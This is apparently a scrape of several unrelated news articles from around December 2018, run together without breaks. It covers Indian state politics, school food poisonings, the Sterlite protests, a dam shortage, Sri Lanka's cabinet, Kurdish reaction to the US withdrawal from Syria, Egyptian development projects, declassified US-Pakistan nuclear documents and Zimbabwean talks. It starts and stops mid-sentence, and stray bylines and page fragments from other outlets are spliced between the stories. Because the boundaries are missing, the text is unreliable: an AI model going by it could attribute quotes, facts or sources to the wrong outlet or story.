requested for, Kharge also sought enough time for discussion over the matter. Union Law Minister Ravi Shankar Prasad, who was to move the Bill on Thursday, also sought Kharge's assurance for a "peaceful" debate over the Bill on December 27. With voice vote, Mahajan gave her nod to defer the discussion on the Bill. Namita Bajpai By Express News Service LUCKNOW: Two big parties in Uttar Pradesh on Wednesday pricked the Congress ego balloon that had bloated after capturing three big Hindi heartland states from the BJP, by claiming they had almost wrapped up their opposition alliance for the 2019 polls but kept the grand old party out of the equation. UP sends 80 members to the Lok Sabha. It was payback time for the Samajwadi Party and the Bahujan Samaj Party, as the Congress, in their view, had treated them like doormat in the run up to the recent Assembly polls. The big two, however, strategically decided not to field candidates from the pocket boroughs of Amethi and Rae Bareli, held by Congress chief Rahul Gandhi and UPA chairperson Sonia Gandhi, respectively. However, Chaudhary Ajit Singhs Rashtriya Lok Dal was accommodated. ALSO READ | Resurgent Congress leaves SP, BSP cagey in Uttar Pradesh? Highly-placed sources claimed the top leadership of both the parties, including SPs Akhilesh Yadav and BSPs Mayawati, were in constant touch to hammer out a seat-share formula. Here is the tentative break-up: BSP 38 seats, SP 37, RLD 3 (possibly Baghpat, Mathura and Kairana), Congress 2 (Amethi, Rae Bareli). If this is how the cake would eventually be sliced, Mayawati would be the biggest winner, having bullied Akhilesh into giving her a wider berth. For, the SP intends to offer a few seats from its share to smaller allies like the Nishad Party and the Peace Party. That the SP and the BSP were in deep sulk was as clear as daylight. Akhilesh and Mayawati had stayed away from an opposition meeting on December 10 and the swearing-in ceremonies of three Congress CMs. In Delhi, the Congress sought to put up a brave face saying it could go alone in UP if it does not get a honourable deal. ALSO READ | Stalin's proposal to project Rahul Gandhi as PM face not necessarily alliance's opinion: Akhilesh An understanding between two players does not mean that we have not been part of the talks. Sewing up an alliance is a process. We have neither been excluded nor included, Abhishek Manu Singhvi said. However, in the present understanding, the distribution and identification of seats among the allies would be on the basis of their performances in 2014. As per the poll result figures of 2014, BSP candidates had remained on number two position on 34 seats, Samajwadi Party on 31 and Congress around 8 seats. In 2014 Modi wave, BJP and allies (Apna Dal) had swept the UP winning 73 of 80 Lok Sabha seats. While SP had won five seats, Congress could retain just Amethi and Rae Bareli. BSP had failed to even open account. READ | Joining a Congress-led alliance one of many options: RLSP chief Upendra Kushwaha Its not a pro-cong mandate While the SP and the BSP bailed out the Congress in Madhya Pradesh with their support after the polls, they read the verdict as and anti-BJP and not pro-Congress. Due to lack of powerful regional forces, people of MP, Rajasthan and Chhattisgarh had no option but to vote for Congress, which is still a non-entity in UP, said a senior BSP leader. Its Paswans turn to set deadline for bihar pact PATNA: After Upendra Kushwahas (RLSP) revolt, it was the turn of Union minister Ram Vilas Paswans Lok Janshakti Party (LJP) to grumble about its slim pickings in the NDA seat-share formula in Bihar for the Lok Sabha polls. The LJP gave the BJP time till December 31 to take the final call. LJP leader and Bihar minister Pashupati Kumar Paras, who is Paswans relative, sought proper respect for his party in the NDA. By Online Desk In two separate incidents, around 50 government school students fell sick and had to be hospitalised after eating midday meal served to them on Thursday. According to a Hindustan Times report, 20 students of Chikkamagii primary school in Hunagunda Taluk of Bagalkot district fell sick after a lizard reportedly fell in the sambar served to them. They were rushed to the hospital following vomiting and diarrhoea. the report added. In the second case, 30 students from Hagalur village in Siruguppa taluk of Ballari district needed medical attention as they felt dizziness and had instant stomach ache and vomiting after having lunch at the school. However, the reason for the students' illness is yet to be traced. "When the students started vomiting, they were rushed to the Government hospitals in Karur and Kottur. After being given medicines, some of them recovered, while a few have been shifted to Vijayanagara Institute of Medical Sciences (VIMS). I have told the concerned Block Education Officer (BEO) to submit a report after inquiring the cooks, Sridharan, Deputy Director for Public Instruction (DDPI), Ballari told Express. According to the Siraguppa Police, students were immediately shifted to VIMS in four ambulances. Superintendent of Police Arun Rangarajan, after speaking to the hospital Superintendent and the admitted students confirmed that the students fell ill after they consumed the food served to them. A lizard had fallen into the food, he said. Hospital sources, said all the 13 students who were brought to the hospital are now out of danger. They are now kept under observation, added sources. The incidents have been reported only a few days after the death of 15 in Karnataka's Sulavadi after consuming poisoned prasad from a temple. By Express News Service PURI: IN the wake of alarming drowning deaths in the sea along Odisha coastline, International Lifeguards Association has come forward to train lifeguards in Puri so that they will be able to conduct rescue operations robustly. On Wednesday, seven foreign experts imparted training to 45 lifeguards in Puri sea. Puri SP Sarthak Sarangi said the association had taken permission for conducting the special training session. The lifeguards in Puri, where hundreds of tourists visit everyday, are being imparted training on specialised skills, use of modern equipment, administration of first aid during rescue operations and spreading awareness among people intending to take bath in the sea. Between 2016 and 2018, about 1,432 drowning deaths were reported along the States 480 km coastline, sources said. The visitors are mostly unaware of the sea current leading to loss of lives due to drowning, the trainers said. Experienced trainers Falvia McBride, Guilremo Navarro, Jonathan Robinson and Amy McCormick of California, Vasili Plegi of Florida, Mark Scully of Australia and Paul Hawkins of the United Kingdom imparted training to lifeguards. Blu Flag tag: Denmark-based international body FEE informed the State Coastal Zone Management Authority (SCZMA) that the 1 km- stretch from Digabareni to Chaitanya Chowk and Nilachal Ashok to Bankimuhan each will be issued blue flag pilot certificate. The officials of SCZMA inspected the entire Puri beach. Sources say 13 beaches of the country would be issued certificates for possessing required infrastructure for the purpose. This blue fag certificate is an international tag which would boost eco-tourism and more foreign tourists would flock Puri beach. A team of SCZMA experts and scientists, led by its nodal officer Ananta Kumar Sahu, noted environmentalist Jagannath Bastia and oceanographer P K Panigrahi inspected the beach. After approval from the State Government, the proposal would be sent to the Ministry of Environment and Forests, the official said. By Express News Service CHENNAI: As agitations are on the rise in Thoothukudi following the National Green Tribunals recent order to reopen Sterlites copper smelter plant, a group of students were arrested in their attempt to bring the issue to attention in Chennai on Thursday. Triplicane police have detained 10 students hailing from Thoothukudi for causing public nuisance by trying to carry out a protest against Sterlites reopening on Thursday near Chennai Press Club in Chepauk. Carrying charts and banners which bore anti-Sterlite messages, 10 members belonging to a student organization based in Thoothukudi arrived near the Press Club around 11 am on Thursday. A police team rounded them up and took them to the station. A police official said that the students loudly started shouting slogans when they were being taken. While three of the 10 members were school students, rest were arts and engineering graduates. Police officials who had received information about the students plan were stationed at the spot in advance to detain them. We came to know that students from Thoothukudi will be arriving at Chepauk around 10.30am on Thursday to protest against Sterlites reopening. We have detained them as a preventive measure and will release them by evening, said a police official. On December 15, NGT dismissed the state governments pleas and ordered the reopening of the plant. Following this, various sets of anti-Sterlite organizations have resorted to intense protests. The state government, in turn, has decided to appeal against the order in Supreme Court. On May 23, the Tamil Nadu Pollution Control Board ordered the closure of the Sterlite plant with immediate effect and directed TANGEDCO to disconnect electricity supply to the unit. The decision came two days after 15 people were killed in police firing on anti-Sterlite protesters. Anilkumar By Express News Service WARANGAL: Even as disposal of used sanitary napkins remains a contentious issue in the country, few NGOs have come up with solutions to replace them with low cost eco-friendly reusable cotton sanitary napkins. Disposable sanitary napkins replaced traditional strips of old cotton saris four decades ago in the country. Organisations like Gramalaya, a Tiruchirappalli based voluntary organisation working for water and sanitation and Jatan Sansthan from Rajasthan, are doing commendable work in the areas of manufacturing cotton sanitary napkins which could be reused several times. They claim that despite reusing the napkins, they remain hygienic and safe. Gramalaya had sold over 1.5 lakh reusable cotton sanitary napkins under the brand Feel Free in last three years in six Southern states, including Telangana and Andhra Pradesh whereas Jatan Sansthan is promoting sanitary napkins under UGER pads brand. One pad can be used 65 to 70 times and costs `80, thus making it cheaper when compared to the disposable one, claimed Ankur, a representative of Jatan Sansthan, who came to take part in an awareness campaign organised by Administrative Staff College of India in Warangal city. According to him, the thin gel pads do not suit all users and many of them reported discomfort, infection, allergies and severe itching. On the other hand, the cotton pads are safe, hygienic and environmentally friendly. Besides, these pads provide a livelihood as they are handmade, thereby generating employment within the community, he explained. Gramalaya too had been promoting cotton sanitary pads on a large scale among over four lakh adolescent girls and women. P Krishna By Express News Service SANGAREDDY: Managing water as a resource can be quite challenging. The famous Singur Dam, which supplies water to as many as eight Assembly constituencies in erstwhile Medak district, might not have enough water for summer next year. And one wonders if this was bad fortune due to low rainfall, or mismanagement by officials who did not bother to plan ahead. In August 2017, immediately after a good monsoon, the reservoir was at its full storage level of 29 tmcft. Heady officials, without sparing a thought for saving some water for the coming year, released as much as 15 tmcft to the Nizam Sagar and Sriram Sagar Projects. By December 2017, there was only 14 tmcft left in the tank. This year, rains werent that great. A year later, in December 2018, the reservoir has just 2.5 tmcft. If one discounts the dead storage limit, the practical usable water is only 2 tmfct. Locals claim the current situation reminds of them of the year 2012. According to them, 2012 was a bad year with below average rainfall. In fact, the situation was so bad that at one point there was only 1 tmfct left in the reservoir. Officials then had to install heavy motors at the crest gates to pump out water for drinking needs. Meanwhile, farmers of the region are quite angry about the fact that officials chose to release water to Sriram Sagar Project in Karimnagar. They did this instead of supplying it for irrigation during both the Kharif and Rabi seasons this year, they say. Some farmers Express spoke to said that when they approached officials a few months ago, asking for water to save their dying crops, they were told the water level had dropped and the remaining water was needed for Mission Bhagiratha, the governments flagship drinking water scheme. Puzzling statements A farmer in the region said that Chief Minister K Chandrasekhar Raos recent statements at Banswada in Kamareddy district were puzzling to say the least. He had claimed that the Nizamsagar had plenty of water to serve the region. Here at Sangareddy, Singur looks like it will dry up soon. So how can the Nizamsagar, which gets its water from here, have enough water, the farmer wondered. He also added that releasing water to lift irrigation schemes on Manjeera river, seemed unlikely due to present condition. No need to worry, for now Speaking to Express, Assistant Engineer at Singur J Mahipal Reddy claims that there is no need to worry right now. Currently, the available water is sufficient for both Mission Bhagiratha as well as for supply to rural areas. But if we dont get rains after May next year, our situation might not be so ideal. Last year at this time, we had 14 tmcft of water. Now we have only 2 tmcft if we discount the dead storage level, he said. Meanwhile, farmers of the region are angry that officials chose to release water to Sriram Sagar Project rather than supply it for irrigation during Kharif and Rabi seasons this year. By PTI COLOMBO: Sri Lankan President Maithripala Sirisena on Thursday named a 30-member Cabinet, but retained the control over the island nation's security forces and the police by ignoring Prime Minister Ranil Wickremesinghe's nominees, indicating that two leaders are still at loggerheads after weeks of political crisis. The Cabinet announcement came after the reinstatement of Wickremesinghe as prime minister. Sirisena ignored Wickremesinghe's nominees for Cabinet positions from those who had defected from his Sri Lanka Freedom Party (SLFP). At least 3 seniors had defected from the SLFP to Wickremesinghe's United National Party (UNP). READ | Sri Lankan President Sirisena unveils new cabinet Sirisena's decision on October 26 to sack prime minister Wickremesinghe and install former strongman Mahinda Rajapaksa in his place triggered an unprecedented constitutional crisis. Later, Sirisena also dissolved the 225-member Parliament and called for a snap election on January 5. READ | Dissolution of Parliament unconstitutional: Sri Lanka's SC However, Wickremesinghe was re-appointed as prime minister by Sirisena following a Supreme Court order, ending the 51-day political standoff in the country. The president now holds the Defence and Mahaweli Development and Environment Ministry portfolios. He retained the control over the police which is investigating an alleged plot to kill him that triggered a political crisis in the country. Wickremesinghe also hold portfolios of National Policies, Economic Affairs, Resettlement & Rehabilitation, Northern Province Development, Vocational Training & Skills Development & Youth Affairs. Thilak Janaka Marapana was sworn-in as the Minister of Foreign Affairs. Sirisena's holding of the Law and Order Ministry has been disputed by the UNP, claiming that the president was only constitutionally allowed to be the defence minister in addition to the subject of environment. Analysts said that Cabinet appointments indicate that Sirisena and Wickremesinghe were still at loggerheads. Sirisena, who had publicly vowed not to reinstate Wickremesinghe, was was forced to change his stance after court rulings over the issue. By Associated Press BEIRUT: The United States' main ally in Syria on Thursday rejected President Donald Trump's claim that Islamic State militants have been defeated and warned that the withdrawal of American troops would lead to a resurgence of the extremist group. The Kurdish-led Syrian Democratic Forces said in a statement that a premature U.S. pullout would have dangerous repercussions and a destabilizing effect on the entire region. "The war against terrorism has not ended and (the Islamic State group) has not been defeated," the statement said, adding that the fight against IS was at a "decisive" stage that requires even more support from the U.S.-led coalition. It was the first official comment by the group on Trump's surprise announcement. READ | UK says still more to do against Islamic State Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in the country and among the most effective ground forces battling IS. With U.S. air support, the Kurds drove IS from much of northern and eastern Syria in a costly four-year campaign. The announcement of a pullout is widely seen as an abandonment of a loyal ally. "The decision to pull out under these circumstances will lead to a state of instability and create a political and military void in the region and leave its people between the claws of enemy forces," the SDF statement said. Kurdish officials and commanders met into the night, discussing their responses to the decision, local residents said Thursday. A war monitor said among the options seriously discussed was releasing thousands of Islamic State militants and their families from various nationalities who are being detained in SDF-run prisons and camps. It was not clear whether any decision was immediately taken, and SDF commanders were not immediately available for comment. ALSO READ | US presence in Syria was to destroy ISIS, not to end civil war: White House Arin Sheikhmos, a Kurdish journalist and commentator, said "we have every right to be afraid." "If the Americans pull out and leave us to the Turks or the (Syrian) regime our destiny will be like the Kurds of Iraqi Kurdistan in 1991 million of refugees, there will be massacres. Neither the regime, not Iran nor Turkey, will accept our presence here," he told the AP. The U.S. announcement came at a particularly tense moment in northern Syria. Turkish President Recep Tayyip Erdogan has repeatedly threatened to launch a new offensive against the Kurds but in recent days had stepped up the rhetoric, threatening an assault could begin "at any moment." Turkey views the People's Protection Units, or YPG, the main component of the Syrian Democratic Forces, as a terrorist group and an extension of the insurgency within its borders. U.S. support for the group has strained ties between the two NATO allies. In northeastern Syria, Kurdish fighters have been digging trenches and defensive tunnels, preparing for the threatened offensive. Turkish tanks and armored vehicles are deployed on the border, with thousands of allied Arab Syrian fighters mobilized to join in the attack. The threat from Turkey could drive the Kurds into the arms of Syrian President Bashar Assad, and by extension Iran and Russia. "This is expected," Ebrahim Ebrahim, a Syrian Kurd based in Europe, said of the pullout. "But it is not just treason to the Kurds or the people of Syria but to democracy, to morals, if this is true. Yes, true, we fought for ourselves, but we also fought for democracies all over the world," he added. Russian President Vladimir Putin welcomed the U.S. decision to withdraw its forces from Syria, saying he agreed with Trump that the defeat of the Islamic State group removes the need for the U.S. military presence. Russia has long held that the U.S. presence in Syria is illegitimate because it hasn't been vetted by the U.N. Security Council or approved by the Syrian government. Russia is a key ally of Assad, and its military intervention, beginning in 2015, turned the tide of the war in his favor. A Syrian member of parliament, Peter Marjana, said Thursday that a U.S. pullout would be a "recognition that Syria has won." Trump's contention that IS has been defeated contradicted his own experts' assessments and shocked his party's lawmakers, who called his decision rash and dangerous. Earlier this month, Kurdish fighters entered Hajin, the last IS enclave in Syria, but battles continues. Government forces and allied Iranian militiamen are present on the other side of the Euphrates River. The U.S. began airstrikes against IS in Syria in 2014 and later sent in ground troops to aid Kurdish forces. Trump abruptly declared their mission accomplished in a tweet Wednesday. By UNI MOSCOW: Russian President Vladimir Putin does not use a mobile phone and he receives information from various other sources, including the internet, the Kremlin spokesman, Dmitry Peskov, said. "There are various folders with printouts, digests printed on paper and TV digests. There a variety [of sources of information. The president can surf the internet by himself on a computer. As far as I know, he does not have a telephone," Peskov told the Rossiya 24 broadcaster when asked from what sources Putin received information. The spokesman said that using a smartphone envisaged full transparency which a president, "especially the president of such country as Russia, and such president as Putin" could not afford. Peskov continued by saying that life had taught him not to trust one source of information or a media outlet, adding that he always sought to check information he received. Egypt's President Abdel-Fattah El-Sisi toured early on Thursday a number of mega development projects in Ain Sokhna and Gabal El-Galala areas on the Red Sea, a statement by the El-Sisis spokesperson Bassam Rady said. At El-Galala, the president visited the strategic reservoir complex, which comprises six reservoirs with a storage capacity of 120,000 cubic metres. El-Sisi also inspected four water treatment plants in the area, and the water levers that will supply El-Galala's needs. He also inspected eight marble factories with a total annual capacity of 24 million square metres annually, and a granite factory with an annual capacity of 1 million square metres. Rady explained that the president inspected the first three factories of their kind in Egypt for marble production, marble blocks and concrete products. The first factory has already started production and the other factories are due to be completed on 30 June 2020. El-Sisi also visited the under-construction El-Galala University, which comprises 14 faculties specialised in agriculture, medical sciences, and architecture, as well as an international conference centre and dormitories for students and faculty. The president's tour also included the residential district, tourist resorts, aerial carrier, restaurants, and shops at El-Galala City. El-Sisi also visited a mountain hotel at El-Galala resort, which has a 298-room capacity, conference centre and swimming pools. The projects will provide more than 150,000 jobs in all fields. They are implemented by more than 100 Egyptian companies and engineering consultancy offices under the supervision of the Armed Forces Engineering Corps. El-Sisi praised the efforts exerted to complete these projects on schedule. He said that these projects go towards achieving comprehensive development through the establishment of new integrated urban communities that provide a decent life and a better future for the Egyptian people. The president also met with a number of engineers, contractors, and employees of the Egyptian companies executing these projects. Sisi Sisi Sisi Search Keywords: Short link: By PTI ISLAMABAD: Pakistan Prime Minister Imran Khan on Thursday urged UN Secretary General Antonio Guterres to take the notice of the alleged human rights violations in Kashmir. During a telephonic conversation with Guterres, Khan "underscored (the) UN's role to end these violations", Dawn reported, citing a statement issued by the prime minister's office. Khan's call to the UN chief comes days after he condemned the killing of seven civilians in Kashmir's Pulwama and threatened to raise the issue at the UN. Separately, the federal Cabinet in its meeting condemned the presidential rule in Kashmir. Information Minister Fawad Chaudhry said the Cabinet meeting was held in Islamabad with Prime Minister Khan in chair. By PTI WASHINGTON: The US acceded to Pakistan's demand, supported by China, to "set aside" its concerns over Islamabad's secretive nuclear weapons programme in the immediate aftermath of the Soviet invasion of Afghanistan, according to the latest documents declassified from the era. The documents, which were released by the State Department, reveal that then Pakistani dictator General Zia-ul Haq and Chinese Vice Premier Deng Xiaoping were successful in extracting this price from the US in lieu of Islamabad's support to America against the Soviet invasion of Afghanistan. In addition to the US turning a blind eye to Pakistan's nuclear weapons programme, Deng also convinced the US to start giving more military and financial aid to Pakistan, according to the US Foreign Relations 1977-1980 volume on Afghanistan. The voluminous document indicates that both Zia and Deng successfully convinced the then Carter administration that India under former Prime Minister Indira Gandhi would be pro-Soviet. "There are limits on our ability to aid Pakistan because of their nuclear explosive programme. Although we still object to their doing so, we will now set that aside for the time being, to facilitate strengthening Pakistan against potential Soviet action," the then US Defense Secretary Harold Brown said in a January 8, 1980 meeting with Deng. Deng applauded the US decision as he was successfully able to convince the Carter administration on this issue. "That is a very good approach. Pakistan has its own reasons for developing a nuclear programme. We ourselves oppose the Pakistan effort on nuclear weapons because we believe it meaningless to spend money on such a programme," he said. "Pakistan has its own arguments, ie, India has exploded a nuclear device but the world has not seemed to complain about this. So now you have decided to put this aside and solve the question of military and economic aid to Pakistan. We applaud this decision," Deng said. He also convinced the US to not equate India and Pakistan when it comes to giving aid. "You may recall that I raised the question of aid to Pakistan with President Carter. He said the US will give aid in proportion to the population of the two countries. I said this was not feasible," Deng told Brown referring to his conversation with Carter. "The Pakistanis and Indians are afraid of each other. If the population ratio formula should be used, Pakistan will be in an increasingly inferior position. We hope that since the United States decided to give aid to Pakistan, it will really satisfy Pakistan's requirements. We hope your aid to Pakistan will not be affected too much by India's reaction," Deng said. "With regard to question of South Asia, there is no other way except giving aid to Pakistan. It has always been our view that the US policy giving more attention to India than Pakistan is not an appropriate policy. "Regarding India, we have always felt that the United States should try to cultivate good relations, and this has had a good effect. But India is not a stabilising factor. Perhaps you already know the general election results," Deng said. He was referring to the then just-concluded parliamentary elections in which Indira Gandhi came back to power with a majority. Observing that Gandhi had got 70 per cent of the vote, Deng said it was very difficult to judge that time how India will go. "Even if Indira Gandhi should follow India's previous policy; still India is not the most reliable and stabilising factor in southern Asia," he argued. "Let's not talk about Indira Gandhi. The present government is thinking of recognising the Heng Samrin Regime. Perhaps after Pakistan has been strengthened, India will become a more stabilising factor. What one should try to achieve is to make Pakistan a genuine stabilising factor in South Asia," he said. "We hope the United States will give earnest and sincere thought to this question. If one does not keep this clear in one's mind, then one's attitude toward India will make one vacillate in one's position toward Pakistan. "In the past the United States has refrained from aiding Pakistan. I think in part this is the work of India, probably because of a fear of offending India. Since you now have decided to aid Pakistan, I am sure India will send you one note after another, strongly objecting," Deng said. Around 10 days before Gandhi was sworn in as the new Prime Minister of India on January 14, 1980, Zia had a meeting with the then US Ambassador to Pakistan in which he successfully bargained for the US to keep an eye off its nuclear weapons programme in lieu of its support for America against the Russian invasion in Afghanistan. President Carter's statement of January 4 "gives impression that nuclear issue need not be an obstacle and Pakistan needs to know precisely what America proposes to do to help Pakistan" Haq is quoted as saying in a readout of the meeting. In October, when Zia visited the US, President Carter offered F-16 to Pakistan. Zia asked for six more planes in addition to increase in the military aid. "The freedom fighters need more anti-tank and anti-helicopter weapons (discussion of some defective SA7s). France has good weapons and the Europeans should be more helpful," he said. "On another issue, I just want to say that Mrs Gandhi is no friend of Pakistan or the US," he told Carter. Copy Editor/Entertainment Editor Frank Pieper is a copy editor and entertainment editor at The News-Gazette, and the author of Frank's Faves and Frank's Weekend Faves. His email is fpieper@news-gazette.com, and you can follow him on Twitter (@frp308). Members of the Egyptian parliament's African Affairs Committee held a meeting on Thursday with Coptic Orthodox Pope Tawadros II to discuss the expected role of the Coptic Orthodox Church in furthering Egypt's relations with African countries in 2019. The meeting comes a few days before Egypt takes over as chair of the African Union in 2019. The head of parliament's African affairs committee Tarek Radwan affirmed that the Egyptian Coptic Church has historically played a pivotal and constructive role in Africa, so we were keen to meet with Pope Tawadros II today to coordinate efforts as Egypt will officially take over as the new chair of the African Union in few weeks." Radwan added that the discussion focused on the influential role of the Coptic Church in Nile Basin countries. "The Church has close relations with these countries, particularly Ethiopia, and we hope that the Church will exercise its vital roles there to serve Egypt's interests," Radwan said. Relations between Egypt and Ethiopia have witnessed tensions over a dam Addis Ababa is building on the main tributary to Egypts Nile, which Cairo fears could reduce its share of Nile water. Ethiopia announced last week that the shortage in funding for the dam is expected to delay construction until 2022. President Abdel-Fattah El-Sisi will visit Ethiopia next month to officially take over as the new chair of the African Union (AU) in 2019. Egypt was unanimously elected chair of the AU in January 2018, replacing President of Rwanda Paul Kagame. The meeting with Pope Tawadros II included MPs Hatem Patchat, Mai Mahmoud, Amina Nossair, Sherif Nadi, Hesham Magdi, Maged Abu Kheir, Ahmed Wael, Hamdi Bekheit, and Mona Mounir. Meanwhile, Radwan said that all state authorities, including parliament, are currently working day and night to make Egypt's chairmanship of the African Union in 2019 a landmark year. Radwan, addressing the Arab-African Youth Forum on Thursday morning, deplored that inter-African trade stands at just 1 percent. "It is also regrettable that 75 percent of patients infected with AIDs are located in Africa and that 90 million citizens on the dark continent are infected with Hepatitis C," said Radwan. "So we have tremendous challenges in the coming year and we hope we will be able to meet them, and young people in Africa have a big role to play in this respect," he said. "Egypt will extend its experience in fighting epidemics and tropical diseases to African countries." The Arab-African Youth Forum is being held in Cairo between 19 and 28 December under the slogan "One DreamOne Objective," with the aim of building bridges of cooperation between Arab and African young people. Search Keywords: Short link: One of Editor & Publishers 10 That Do It Right 2021 The country has a bright future as Government has set in motion an array of policy initiatives to spur development in communities as part of its drive to create a middle income economy by 2030, President Mnangagwa has said. The President said this yesterday while officiating at a cattle breeding programme and the opening of a science and computer laboratory at Gandauta Secondary School in Chiadzwa, Manicaland Province. The two initiatives were sponsored by the Zimbabwe Consolidated Diamond Company (ZCDC) which is owned by the Government. The cattle breeding project targets communal farmers in the province. There is a brighter future in the country, better than where we are coming from. We understand the challenges that we are currently experiencing but in the new dispensation we have programmes meant to develop rural areas, including devolution. So things will change for the better soon, said President Mnangagwa. He said Government had set aside $310 million in the 2019 National Budget be shared equally among the countrys 10 provinces. We are committed to the development of every region and district in the country. If you look at our budget that was presented last month, you will see that we complied with the Constitution where we set aside $310 million that will benefit every local authority in the country, be it rural or urban, he said. President Mnangagwa said Government was also devolving authority to the provinces for them to manage their own affairs. He commended the ZCDC for engaging in community development projects in the short time it has been operating. Before ZCDC started operations, there were six or seven companies that were operating here but did nothing to develop the area, said President Mnangagwa. They were simply interested in making profits and that is why Government stopped their operations. You cannot identify anything meaningful that those companies did, that is why we formed ZCDC which is a Government-owned company, he said. ZCDC was established two and half years ago after Government consolidated all diamond mining firms at Chiadzwa to plug leakages. President Mnangagwa said Government policy was that each area should benefit from local resources. That is why as Government we gave $5 million to the Marange community when we came into power (new dispensation) to kick-start the community trust here. ZCDC started from scratch but we are happy with the community projects they are doing here and we also hope they will contribute to the fiscus meaningfully, he said. The cattle breeding project is spearheaded by ZCDC in conjunction with the Zimbabwe Agriculture Society. It is set to benefit the whole of Manicaland. The company has also set aside $30 million to reclaim land destroyed by previous miners of diamonds in the area. Earlier, President Mnangagwa had planted a baobab tree to mark the land reclamation programme. Meanwhile, Chief Marange thanked Government and the President for development programmes they have initiated in the Marange area since his Government came into power last year. We are happy that the President has prioritised this area since he came into power. ZCDC has also assisted us in various areas that include health, education and general social services. We pledge to continue supporting you and our party Zanu PF, said Chief Marange. Chronicle Government has pledged 2000ha to the African Union for the Wakanda One village to be shared by Zimbabwe and Zambia as part of joint development efforts across Southern Africa. Wakanda One village is a concept that seeks to rope in Africans living in the Diaspora in spearheading development at identified sites on the continent. The pledge comes in handy in the countrys re-engagement efforts where it also seeks to court Zimbabweans in the Diaspora to contribute to the nations economic turnaround. President Mnangagwa has also set an ambitious target to turn Zimbabwe into an upper middle-class economy by 2030 with tourism, agriculture and mining driving the vision. In an interview during the inaugural Intra African Trade Fair, which ended on Monday this week in Cairo, Egypt, African Union Ambassador and Permanent Representative to the US, Dr Arikana Chihombori-Quao, confirmed President Mnangagwas pledge recently. I met His Excellency President Mnanagwa recently and he offered us 2000ha for the regional Wakanda One in Victoria Falls. The offer also comes in when the Zambian Government has also offered some land across the river in Livingstone. So we are looking at building the village straggling the border between the countries, she said. Zambia has offered 132ha for the project. The Wakanda One village concept expresses a desire by African leaders for all people of African descent the Diaspora to return home and participate in building the continent. Wakanda One the building of African Centres of Excellence across Africa is looking at building five centres, one in each region, which serve as growth nods for each region which should have downstream benefits for the population. WHILE President Emmerson Mnangagwa this week ruled out talks and a power-sharing arrangement with the MDC-Alliance, saying Zanu PF had won a two-thirds majority in the July general elections, it has emerged that dialogue is unfolding behind-the-scenes, facilitated by prominent former Kenyan chief justice Willy Mutunga. The Zimbabwe Independent, which first broke a series of stories about the previous talks between Zanu PF and the MDC, can reveal that Mutunga arrived in the country this week and met senior MDC officials, including MDC president Nelson Chamisa. He has been secretly coming to Zimbabwe for the talks since August. Mutunga is in Harare to meet Zanu PF and MDC leaders for talks to resolve the current political and economic situation. This has been necessitated by events which followed the otherwise peaceful, yet not transparent and credible elections in July, a top African diplomat told the Independent. He is coming here at the behest of the international community which wants to see the situation tackled and fixed before things get too complicated. He has been travelling here since August when the Constitutional Court (ConCourt) dismissed Chamisas electoral petition challenging Mnangagwas election. Even though the Zimbabwean ConCourt, in terms of section 93 subsection 4 sub-paragraph (a) of the constitution, duly declared Mnangagwa as the winner of presidential election held on the 30th of July 2018, there has been a realisation that the political problem wont go away and the economy and people would be the major causalities, as we are witnessing now. So Mutunga is trying to broker serious talks between Zanu PF and the MDC to address this situation. The diplomat said Mutungas process is modelled along the lines of the late United Nations secretary-general Kofi Annan, who also tried in vain to help resolve the situation in Zimbabwe with Nelson Mandelas Elders, an international non-governmental organisation of public figures noted as elder statesmen, peace activists, and human rights advocates, while former president Robert Mugabe was still in charge. In his book, Interventions: A Life in War and Peace, Annan confesses he had to act solo as some Lord of sorts in order to save Kenya from the brink of collapse, following the bloody post-election violence of 2007 that left of 1 000 people dead and hundreds of thousands maimed and homeless. Annan brokered a peace deal between retired president Mwai Kibaki and former prime minister Raila Odinga, ending the post-election turmoil in 2008. Mutunga, a well-known Kenyan former judge, academic, reform activist, and the Commonwealth Special Envoy to the Maldives, is said to be using the same approach. There is a growing realisation in Zanu PF, Zimbabwe in general, the region and the international community that the transition which was envisaged after the events of November 2017 did not go well, especially after the elections and August 1 shooting and killing of civilians, a Western diplomat said. The government of Zimbabwe is pursuing an agenda for economic recovery and promoting itself as a trade and investment destination following a presidential transition in November 2017 and the elections. This new economic order includes talks to normalise relationships with international partners, creditors and investors. Delivering on promises of austerity measures and reform, as well as growth is imperative in a country where over 80% of economic activity is informal, and citizens resilience is being severely tested by a worsening economic situation characterised by an acute liquidity and cash crisis, shortages of goods and company downsizing or closures, among other things. Re-engagement to end isolation, pay debts and arrears and get new funding, besides rebuilding foreign, trade and investment relations will require political legitimacy and stability, and a clear and consistent policy reform agenda. In this environment, this is not possible, hence we are saying the Zimbabwean government and President Mnangagwa must realise that dialogue and consensus are now a sine qua non for recovery, growth and progress. This cant be avoided anymore, unless, of course, Zimbabwe is to be allowed to slide backwards into the abyss with disastrous consequences. Leadership is needed to take the country forward. That means putting the national interest above individual and party political considerations. Mutungas visit comes amid increasing calls for dialogue from churches, civil society and ordinary Zimbabweans. This is largely necessitated by the economic meltdown, widespread suffering and discontent. Only two days ago, prominent cleric and businessman Shingi Munyeza urged Zanu PF and MDC to put their differences aside and focus on nation-building. The Independent understands Mutungas mandate includes looking at a broad framework, before identifying salient issues on both sides, which can be narrowed down to an agenda for talks. This means dealing with issues since the coup through elections to the present. Mutunga is engaging to look at the political and economic situation, sources of the political wrangling, the current situation going back to the coup, transition, elections, electoral dispute, the subsequent economic turmoil and the state of the nation to see how dialogue can be structured and facilitated, one official said. He will also specifically look at what issues both parties want addressed before coming up with an agenda for discussion. There are many options which will be considered, not just a Government of National Unity (GNU); remember power-sharing is a system of governance in which all major segments of society are included. There are basic principles of power-sharing. It can be grand coalition governments in which nearly all political parties have appointments; protection of minority rights for groups; decentralisation of power or decision-making by consensus. There are several and different models. If people sit down and think they will find ways of doing it. Mutungas timing could not have been worse, as he arrived at a time Zanu PF is gathering at its annual conference and thus playing hardball. Mnangagwa has been vacillating between calling for dialogue and adopting a hard-line approach. Chamisa has said he is willing to talk, not to join Mnangagwas government, but to fix Zimbabwe. Yesterday, the MDC-Alliance said it welcomes any efforts to push for dialogue and a peaceful transition in Zimbabwe. We will always welcome dialogue to help resolve the countrys political and economic problems. The MDC believes in dialogue, a consensus-based approach and collective solutions to the nations problems, particularly to arrest the worsening economic crisis, which will see Zimbabweans having one of their worst festive seasons in living memory, party spokesperson Jacob Mafume said. We must put the nations interests first, ahead of our individual and party ambitions. This means as the main parties and leaders, we have to show leadership, and stop posturing. Remarks by Mnangagwa that he would not want to engage because he purportedly won the elections and his party 